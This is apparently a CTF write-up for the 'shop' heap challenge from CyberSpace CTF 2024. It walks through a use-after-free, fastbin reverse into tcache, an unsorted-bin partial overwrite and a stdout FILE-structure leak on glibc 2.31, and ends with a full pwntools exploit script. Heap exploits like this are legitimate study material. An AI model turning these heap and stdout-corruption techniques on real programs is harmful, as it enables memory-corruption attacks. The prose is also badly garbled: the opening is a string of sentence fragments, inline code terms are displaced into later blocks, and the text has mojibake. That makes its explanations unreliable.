CyberSpace CTF 2024 - shop
Table of Contents
CyberSpace CTF 2024 pwnable challenge Using In Similarly, in Note that It sets While possible in older glibc versions (<=2.26), glibc 2.31 in the current docker environment has mitigation applied to prevent double free in tcache. To bypass this, I used the fastbin reverse into tcache technique, referencing these resources: These resources assume we can free a victim chunk and write values, but since The exploitation flow is as follows. Writing the payload step by step: Executing After emptying tcache by executing Since we havenβt leaked heap yet, we can only partial overwrite lower bytes for probabilistic heap manipulation. The Looking closely, Come to think of it, carefully controlling size and position when allocating heap chunks to only overwrite one byte might enable exploitation without probability issues. As in the payload above, the partially overwritten address is returned during the 3rd To proceed further, the binary has no printing codes, making leaks impossible. Thinking about what we have, while we donβt know addresses, AAW is possible by manipulating While pondering, I thought that just like partially overwriting the heap address stored in Getting a libc address into First, since weβll ultimately perform AAW using chunks in fastbin, send sufficiently sized (0x60) chunks to fastbin. To send the victim chunk to unsorted bin, we need to carefully position intermediate chunks so the offset with Also, since This sends the Now to overwrite chunk size, we use the fastbin reverse into tcache technique. Executing this payload creates the second diagram. We need to free the So we use the fastbin reverse into tcache technique once more to get that address returned. This time, instead of editing the returned address, we Since the Thereβs a technique for libc leak when you can change stdoutβs After successfully performing unsorted bin attack, the Meanwhile, With 1/16 probability of allocating the libc address storing stdoutβs To summarize the exploit technique, when The status of The referenced resource overwrites the first byte of This output prints the libc address contained in the Since libc leak is possible through this payload, areas like Using this Note that output occurs when After obtaining the heap address, we can obtain the 0x00. Introduction
[*] '/home/user/shop'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled Concept
β ./shop
1. Buy a pet
2. Edit name
3. Refund
> buy_143A(), we allocate heap chunks and store the allocated address and size. These are stored in globally declared void *ptr_4060[32] and int size_4160[32].edit_1523(), we input an index to modify the contents of the chunk stored in ptr_4060[index].refund_15F6(), we input an index to free the chunk stored in ptr_4060[index].read_flag_12A9() reads the flag and stores it in the heap, so we donβt need to get shell. 0x01. Vulnerability
int refund_15F6()
{
unsigned int index; // [rsp+0h] [rbp-10h]
void *ptr; // [rsp+8h] [rbp-8h]
printf("Index: ");
index = read_int_13A5();
if ( index > 31 )
return puts("INVALID INDEX");
ptr = (void *)ptr_4060[index];
if ( !ptr )
return puts("INVALID INDEX");
free(ptr);
size_4160[index] = 0;
return puts("DONE");
}refund_15F6() verifies that ptr_4060[index] is not NULL and frees ptr.size_4160[index] to 0 afterward but doesnβt nullify ptr_4060[index], causing UAF vulnerability. 0x02. Exploit
Fastbin Reverse Into Tcache
1. Buy a pet
2. Edit name
3. Refund
> 3
Index: 0
DONE
1. Buy a pet
2. Edit name
3. Refund
> 3
Index: 1
DONE
1. Buy a pet
2. Edit name
3. Refund
> 3
Index: 0
free(): double free detected in tcache 2
[1] 97427 IOT instruction (core dumped) ./challedit is impossible when size_4160[index] is 0 in this challenge, we need to additionally create a fastbin dup situation.7 fastbin-length chunks to fill tcache7 chunks to empty tcache8th chunk to manipulate next_chunknext_chunk address is allocated # fill tcache 0x20
for _ in range(9):
buy(s, 0x10)
for i in range(7):
refund(s, i + 1)
# fastbin dup 8 -> 9 -> 8
refund(s, 8)
refund(s, 9)
refund(s, 8)refund 7 times fills tcache, sending subsequent chunks to fastbin. Using this, we create an 8 -> 9 -> 8 loop in fastbin. # clean tacahe 0x20
for _ in range(7):
buy(s, 0x10)
# partially overwrite next_chunk
buy(s, 0x10)
edit(s, 8, b"\x40\x96")buy 7 times, executing buy once more returns the 8th chunk. Since this 8th chunk stored size in size_4160[8] during buy, edit is possible.gefβ€ heap bins
βββββββββββββββββββββββββββββββββββββββ Tcachebins for thread 1 βββββββββββββββββββββββββββββββββββββββ
Tcachebins[idx=0, size=0x20, count=3] β Chunk(addr=0x555555559b70, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
β Chunk(addr=0x555555559b50, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
β Chunk(addr=0x555555559640, size=0x0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)\x40\x96 passed to edit partially overwrites the chunkβs next_chunk to manipulate the tcache list.0x555555559640 comes at the end of the tcache list. Although its size is 0, tcache doesnβt verify size during allocation, so the manipulated next_chunk gets allocated. # allocate overwritten heap address
buy(0x10)
buy(0x10)
buy(0x10) # index 11 ; overwritten heap address
# overwrite chunk size
edit(s, 11, p64(0) + p64(0x421))buy, allowing us to modify values stored in heap. Unsorted Bin Attack
next_chunk.next_chunk earlier, if a libc address is stored there, we could partial overwrite to write somewhere in libc memory.next_chunk can be accomplished with unsorted bin attack, but requires careful chunk overlapping. Illustrated as follows:
next_chunk matches size.next_chunk being top chunk merges with top chunk instead of going to unsorted bin, we need to consider this. # fill tcache 0x70
for _ in range(8):
buy(s, 0x60)
for i in range(7):
refund(s, i)
buy(s, 0x3a0) # index 0 ; align next chunk
# 0x555555559650 chunk goes to fastbin
refund(s, 7)index 7 chunk (0x555555559650) to fastbin, and allocating a 0x3a0 chunk afterward creates the form in the first diagram. # partially overwrite next_chunk
buy(s, 0x10)
edit(s, 8, b"\x40\x96")
# allocate overwritten heap address
buy(s, 0x10)
buy(s, 0x10)
buy(s, 0x10) # index 11 ; overwritten heap address
# overwrite chunk size
edit(s, 11, p64(0) + p64(0x421))0x555555559650 chunk, but thereβs no pointer pointing to 0x555555559650. Since itβs an already freed chunk address, we canβt access it without allocating a 0x60-sized chunk again. # partially overwrite next_chunk
buy(s, 0x10)
edit(s, 12, b"\x50\x96")
# allocate overwritten heap address
buy(s, 0x10)
buy(s, 0x10)
buy(s, 0x10) # index 15 ; overwritten heap address
# free(0x555555559650) ; move chunk to unsorted bin
refund(s, 15)refund to free it, creating the third diagram.gefβ€ heap bins
βββββββββββββββββββββββββββββββββ Fastbins for arena at 0x7ffff7fbfb80 βββββββββββββββββββββββββββββββββ
Fastbins[idx=5, size=0x70] β Chunk(addr=0x555555559650, size=0x420, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [incorrect fastbin_index]
β Chunk(addr=0x7ffff7fbfbf0, size=0x0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [incorrect fastbin_index]
β Chunk(addr=0x555555559650, size=0x420, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) β [loop detected]
Fastbins[idx=6, size=0x80] 0x00
βββββββββββββββββββββββββββββββ Unsorted Bin for arena at 0x7ffff7fbfb80 βββββββββββββββββββββββββββββββ
[+] unsorted_bins[0]: fw=0x555555559640, bk=0x555555559640
β Chunk(addr=0x555555559650, size=0x420, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin.0x555555559650 chunk remains in fastbin, main_arena in next_chunk is interpreted as the next chunk, enabling libc region allocation. However, fastbin verifies size, so we need to restore the chunk size overwritten to 0x421. # restore chunk size
edit(s, 11, p64(0) + p64(0x71)) Stdout Attack
flag. I referenced this Korean resource:main_arena address at 0x555555559650 is as follows.gefβ€ x/4gx 0x555555559650 - 0x10
0x555555559640: 0x0000000000000000 0x0000000000000071
0x555555559650: 0x00007ffff7fbfbe0 0x00007ffff7fbfbe0stdout points to an _IO_FILE structure stored in the libc region, with this address.gefβ€ x/6gx 0x555555558020
0x555555558020 <stdout>: 0x00007ffff7fc06a0 0x0000000000000000
0x555555558030 <stdin>: 0x00007ffff7fbf980 0x0000000000000000
0x555555558040 <stderr>: 0x00007ffff7fc05c0 0x00000000000000000x7ffff7fbfbe0 and 0x7ffff7fc06a0 differ by 3 bytes without ASLR, but occasionally differ by only 2 bytes with ASLR enabled, making exploitation possible with 1/16 probability when partial overwriting. # partially overwrite main_arena -> stdout
buy(s, 0x60)
edit(s, 22, b"\xa0\x06\xfc") # aslr off
# edit(s, 22, b"\xa0\x76") # aslr on
for _ in range(3):
buy(s, 0x60)_IO_FILE structure, we can change the flag to output libc addresses._IO_IS_APPENDING flag is on, _IO_new_do_write is called as follows, so we need to manipulate _IO_write_base and _IO_write_ptr.// _IO_do_write (FILE *fp, const char *data, size_t to_do)
_IO_do_write (stdout, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base)_IO_FILE structure before manipulating is as follows.gefβ€ p *(struct _IO_FILE *) 0x7ffff7fc06a0
$1 = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7ffff7fc0724 <_IO_2_1_stdout_+132> "",
...
}_IO_write_base with \x00, which would call _IO_do_write as follows.// _IO_do_write (FILE *fp, const char *data, size_t to_do)
_IO_do_write (stdout, 0x7ffff7fc0700, 0x23)_IO_FILE structure. # leak libc
io_is_appending = 0x1000
payload = p64(0xfbad2887 | io_is_appending)
payload += b"\x00" * 0x19
r = edit(s, 25, payload)_IO_read_XXX donβt seem important for output.stdout structure enables AAR. Since the binary reads flag and stores it in heap memory, leaking the heap address lets us obtain the flag. Opposite to unsorted bin attack where we put main_arena address in next_chunk, main_arena contains heap addresses. Since main_arena is a variable stored in a fixed libc region, we calculate the offset and overwrite the value. # leak heap - print main_arena
payload = p64(0xfbad2887 | io_is_appending)
payload += b"\x00" * 0x18
payload += p64(main_arena) # _IO_write_base
payload += p64(main_arena + 0x20) # _IO_write_ptr
payload += p64(main_arena + 0x20) # _IO_write_end
r = edit(s, 25, payload)_IO_write_end equals _IO_write_ptr. # print flag
payload = p64(0xfbad2887 | io_is_appending)
payload += b"\x00" * 0x18
payload += p64(flag) # _IO_write_base
payload += p64(flag + 0x30) # _IO_write_ptr
payload += p64(flag + 0x30) # _IO_write_end
r = edit(s, 25, payload)flag with the payload above. 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser
BINARY = "chall"
LIBRARY = "libc-2.31.so"
CONTAINER = "b212a05a74cb"
code_base = 0x555555554000
bp = {
'read_int_edit' : code_base + 0x1545,
'read_int_refund' : code_base + 0x1618
}
index_list = [0] * 32
def print_index(op, num = 0):
if op == "pop":
index_list[num] = 0
index = num
elif op == "push":
for _ in range(len(index_list)):
if index_list[_] == 0:
index_list[_] = num
index = _
break
hex_numbers = [hex(num)[2:].rjust(3) for num in index_list[0:16]]
log.info(f"{', '.join(hex_numbers)} ; {op} {index}")
def buy(s, size):
s.sendline(b"1")
s.sendlineafter(b"much? ", str(size).encode())
print_index("push", size)
return s.recvuntil(b"> ")
def edit(s, index, name):
s.sendline(b"2")
s.sendlineafter(b"Index: ", str(index).encode())
s.sendafter(b"Name: ", name)
return s.recvuntil(b"> ")
def refund(s, index):
s.sendline(b"3")
s.sendlineafter(b"Index: ", str(index).encode())
print_index("pop", index)
return s.recvuntil(b"> ")
gs = f'''
!b *{bp["read_int_refund"]}
gef config gef.bruteforce_main_arena True
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def main(server, port, debug):
if(port):
s = remote(server, port)
if debug:
pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
else:
context.log_level = "ERROR"
else:
s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
if debug:
gdb.attach(s, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
s.recvuntil(b"> ").decode()
# fill tcache 0x70
for _ in range(8):
buy(s, 0x60)
for i in range(7):
refund(s, i)
buy(s, 0x3a0) # index 0 ; align next chunk
# 0x555555559650 chunk goes to fastbin
refund(s, 7)
# fill tcache 0x20
for _ in range(9):
buy(s, 0x10)
for i in range(7):
refund(s, i + 1)
# fastbin dup 8 -> 9 -> 8
refund(s, 8)
refund(s, 9)
refund(s, 8)
# clean tacahe 0x20
for _ in range(7):
buy(s, 0x10)
# partially overwrite next_chunk
buy(s, 0x10)
edit(s, 8, b"\x40\x96")
# allocate overwritten heap address
buy(s, 0x10)
buy(s, 0x10)
buy(s, 0x10) # index 11 ; overwritten heap address
# overwrite chunk size
edit(s, 11, p64(0) + p64(0x421))
# fill tcache 0x20
for _ in range(2):
buy(s, 0x10)
for i in range(7):
refund(s, i + 1)
# fastbin dup 12 -> 13 -> 12
refund(s, 12)
refund(s, 13)
refund(s, 12)
# clean tcache 0x20
for _ in range(7):
buy(s, 0x10)
# partially overwrite next_chunk
buy(s, 0x10)
edit(s, 12, b"\x50\x96")
# allocate overwritten heap address
buy(s, 0x10)
buy(s, 0x10)
buy(s, 0x10) # index 15 ; overwritten heap address
# free(0x555555559650) ; move chunk to unsorted bin
refund(s, 15)
# clean tcache 0x70
for _ in range(7):
buy(s, 0x60)
# restore chunk size
edit(s, 11, p64(0) + p64(0x71))
# partially overwrite main_arena -> stdout
buy(s, 0x60)
edit(s, 22, b"\xa0\x06\xfc") # aslr off
# edit(s, 22, b"\xa0\x76") # aslr on
for _ in range(3):
buy(s, 0x60)
# leak libc
io_is_appending = 0x1000
payload = p64(0xfbad2887 | io_is_appending)
payload += b"\x00" * 0x19
r = edit(s, 25, payload)
lib.address = u64(r[0x8:0x10]) - 0x1ec980
log.info(f"libc : {hex(lib.address)}")
main_arena = lib.address + 0x1ecbe0
# leak heap - print main_arena
payload = p64(0xfbad2887 | io_is_appending)
payload += b"\x00" * 0x18
payload += p64(main_arena) # _IO_write_base
payload += p64(main_arena + 0x20) # _IO_write_ptr
payload += p64(main_arena + 0x20) # _IO_write_end
r = edit(s, 25, payload)
heap = u64(r[0:8]) - 0xbc0
log.info(f"heap : {hex(heap)}")
flag = heap + 0x308
# print flag
payload = p64(0xfbad2887 | io_is_appending)
payload += b"\x00" * 0x18
payload += p64(flag) # _IO_write_base
payload += p64(flag + 0x30) # _IO_write_ptr
payload += p64(flag + 0x30) # _IO_write_end
r = edit(s, 25, payload)
f = r.split(b'\n')[0]
context.log_level ="DEBUG"
log.success(f"flag : {f.decode()}")
s.close()
if __name__=='__main__':
parser = ArgumentParser()
parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
parser.add_argument('-p', '--port', type=int)
parser.add_argument('-d', '--debug', type=int, default=1)
args = parser.parse_args()
main(args.server, args.port, args.debug)